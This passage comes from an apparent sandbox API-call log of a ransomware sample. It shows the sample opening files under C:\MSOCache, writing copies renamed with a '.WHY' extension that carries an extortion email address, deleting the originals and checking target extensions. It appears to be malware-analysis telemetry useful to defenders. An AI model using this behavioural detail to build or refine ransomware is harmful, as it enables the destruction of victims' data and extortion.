lpOverlapped=0x0) returned 1 [0062.285] WriteFile (in: hFile=0x1e0, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xf2, lpOverlapped=0x0) returned 1 [0062.285] SetEndOfFile (hFile=0x1e0) returned 1 [0062.286] CloseHandle (hObject=0x1e0) returned 1 [0062.287] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0062.287] SetEndOfFile (hFile=0x1dc) returned 1 [0062.290] CloseHandle (hObject=0x1dc) returned 1 [0062.290] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0062.290] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0062.291] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0062.291] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0062.291] lstrlenW (lpString=".doc") returned 4 [0062.291] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.291] lstrlenW (lpString=".docx") returned 5 [0062.291] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0062.291] lstrlenW (lpString=".pdf") returned 4 [0062.291] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.291] lstrlenW (lpString=".xls") returned 4 [0062.291] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.291] lstrlenW (lpString=".xlsx") returned 5 [0062.291] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0062.292] lstrlenW (lpString=".ppt") returned 4 [0062.292] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0062.292] lstrlenW (lpString=".zip") returned 4 [0062.292] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.292] lstrlenW (lpString=".rar") returned 4 [0062.292] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.292] lstrlenW (lpString=".bz2") returned 4 [0062.292] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.292] lstrlenW (lpString=".7z") returned 3 [0062.292] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0062.292] lstrlenW (lpString=".dbf") returned 4 [0062.292] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0062.292] lstrlenW (lpString=".1cd") returned 4 [0062.292] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0062.293] lstrlenW (lpString=".jpg") returned 4 [0062.293] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0062.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0062.293] lstrlenW (lpString=".doc") returned 4 [0062.293] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.918] lstrlenW (lpString=".docx") returned 5 [0062.918] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0062.918] lstrlenW (lpString=".pdf") returned 4 [0062.918] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.918] lstrlenW (lpString=".xls") returned 4 [0062.918] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.918] lstrlenW (lpString=".xlsx") returned 5 [0062.918] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0062.918] lstrlenW (lpString=".ppt") returned 4 [0062.919] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0062.919] lstrlenW (lpString=".zip") returned 4 [0062.919] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.919] lstrlenW (lpString=".rar") returned 4 [0062.919] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.919] lstrlenW (lpString=".bz2") returned 4 [0062.919] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.919] lstrlenW (lpString=".7z") returned 3 [0062.919] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0062.919] lstrlenW (lpString=".dbf") returned 4 [0062.919] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0062.920] lstrlenW (lpString=".1cd") returned 4 [0062.920] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0062.920] lstrlenW (lpString=".jpg") returned 4 [0062.920] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.920] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0062.920] lstrlenW (lpString="Setup.xml") returned 9 [0062.921] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.452] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=1988) returned 1 [0063.452] CloseHandle (hObject=0x1a0) returned 1 [0063.452] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0063.452] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0063.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.453] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0063.453] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0063.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0063.454] GetLastError () returned 0x0 [0063.454] ReadFile (in: hFile=0x1a0, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x7c4, lpOverlapped=0x0) returned 1 [0063.458] WriteFile (in: hFile=0x1c8, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0063.461] ReadFile (in: hFile=0x1a0, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0063.461] WriteFile (in: hFile=0x1c8, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0063.461] SetEndOfFile (hFile=0x1c8) returned 1 [0063.462] CloseHandle (hObject=0x1c8) returned 1 [0063.466] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0063.466] SetEndOfFile (hFile=0x1a0) returned 1 [0063.468] CloseHandle (hObject=0x1a0) returned 1 [0063.469] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0063.469] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0063.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.470] lstrlenW (lpString=".doc") returned 4 [0063.470] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.470] lstrlenW (lpString=".docx") returned 5 [0063.470] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0063.470] lstrlenW (lpString=".pdf") returned 4 [0063.470] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.470] lstrlenW (lpString=".xls") returned 4 [0063.470] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.470] lstrlenW (lpString=".xlsx") returned 5 [0063.470] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0063.471] lstrlenW (lpString=".ppt") returned 4 [0063.471] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.471] lstrlenW (lpString=".zip") returned 4 [0063.471] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.471] lstrlenW (lpString=".rar") returned 4 [0063.471] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.471] lstrlenW (lpString=".bz2") returned 4 [0063.471] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.471] lstrlenW (lpString=".7z") returned 3 [0063.471] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.471] lstrlenW (lpString=".dbf") returned 4 [0063.471] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.471] lstrlenW (lpString=".1cd") returned 4 [0063.471] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.472] lstrlenW (lpString=".jpg") returned 4 [0063.472] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.472] lstrlenW (lpString=".doc") returned 4 [0063.472] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.472] lstrlenW (lpString=".docx") returned 5 [0063.472] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0063.472] lstrlenW (lpString=".pdf") returned 4 [0063.472] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.472] lstrlenW (lpString=".xls") returned 4 [0063.473] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.473] lstrlenW (lpString=".xlsx") returned 5 [0063.473] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0063.473] lstrlenW (lpString=".ppt") returned 4 [0063.473] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.473] lstrlenW (lpString=".zip") returned 4 [0063.473] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.473] lstrlenW (lpString=".rar") returned 4 [0063.473] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.473] lstrlenW (lpString=".bz2") returned 4 [0063.473] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.473] lstrlenW (lpString=".7z") returned 3 [0063.473] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.473] lstrlenW (lpString=".dbf") returned 4 [0063.473] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.474] lstrlenW (lpString=".1cd") returned 4 [0063.474] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.474] lstrlenW (lpString=".jpg") returned 4 [0063.474] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.474] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0063.475] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0063.475] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.479] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=1452) returned 1 [0063.479] CloseHandle (hObject=0x1a0) returned 1 [0063.479] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0063.479] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0063.480] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.480] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0063.480] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0063.480] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0063.481] GetLastError () returned 0x0 [0063.481] ReadFile (in: hFile=0x1a0, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x5ac, lpOverlapped=0x0) returned 1 [0063.485] WriteFile (in: hFile=0x1c8, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0063.488] ReadFile (in: hFile=0x1a0, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0063.488] WriteFile (in: hFile=0x1c8, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0063.488] SetEndOfFile (hFile=0x1c8) returned 1 [0063.488] CloseHandle (hObject=0x1c8) returned 1 [0063.490] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0063.490] SetEndOfFile (hFile=0x1a0) returned 1 [0063.492] CloseHandle (hObject=0x1a0) returned 1 [0063.492] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0063.493] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0063.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0063.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0063.494] lstrlenW (lpString=".doc") returned 4 [0063.494] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.494] lstrlenW (lpString=".docx") returned 5 [0063.494] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0063.494] lstrlenW (lpString=".pdf") returned 4 [0063.494] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.494] lstrlenW (lpString=".xls") returned 4 [0063.494] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.494] lstrlenW (lpString=".xlsx") returned 5 [0063.725] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0063.725] lstrlenW (lpString=".ppt") returned 4 [0063.725] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0063.725] lstrlenW (lpString=".zip") returned 4 [0063.725] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.725] lstrlenW (lpString=".rar") returned 4 [0063.725] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.726] lstrlenW (lpString=".bz2") returned 4 [0063.726] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.726] lstrlenW (lpString=".7z") returned 3 [0063.726] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0063.726] lstrlenW (lpString=".dbf") returned 4 [0063.726] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0063.726] lstrlenW (lpString=".1cd") returned 4 [0063.726] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0063.726] lstrlenW (lpString=".jpg") returned 4 [0063.726] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0063.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0063.727] lstrlenW (lpString=".doc") returned 4 [0063.727] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.727] lstrlenW (lpString=".docx") returned 5 [0063.727] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0063.727] lstrlenW (lpString=".pdf") returned 4 [0063.727] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.727] lstrlenW (lpString=".xls") returned 4 [0063.727] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.727] lstrlenW (lpString=".xlsx") returned 5 [0063.727] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0063.727] lstrlenW (lpString=".ppt") returned 4 [0063.728] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0063.728] lstrlenW (lpString=".zip") returned 4 [0063.728] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.728] lstrlenW (lpString=".rar") returned 4 [0063.728] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.728] lstrlenW (lpString=".bz2") returned 4 [0063.728] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.728] lstrlenW (lpString=".7z") returned 3 [0063.728] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0063.728] lstrlenW (lpString=".dbf") returned 4 [0063.729] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0063.729] lstrlenW (lpString=".1cd") returned 4 [0063.729] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0063.729] lstrlenW (lpString=".jpg") returned 4 [0063.729] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.729] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0063.729] lstrlenW (lpString="Setup.xml") returned 9 [0063.730] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0064.005] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=1452) returned 1 [0064.005] CloseHandle (hObject=0x1c8) returned 1 [0064.005] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0064.005] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0064.006] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0064.006] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0064.006] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0064.006] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0064.007] GetLastError () returned 0x0 [0064.007] ReadFile (in: hFile=0x1c8, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, 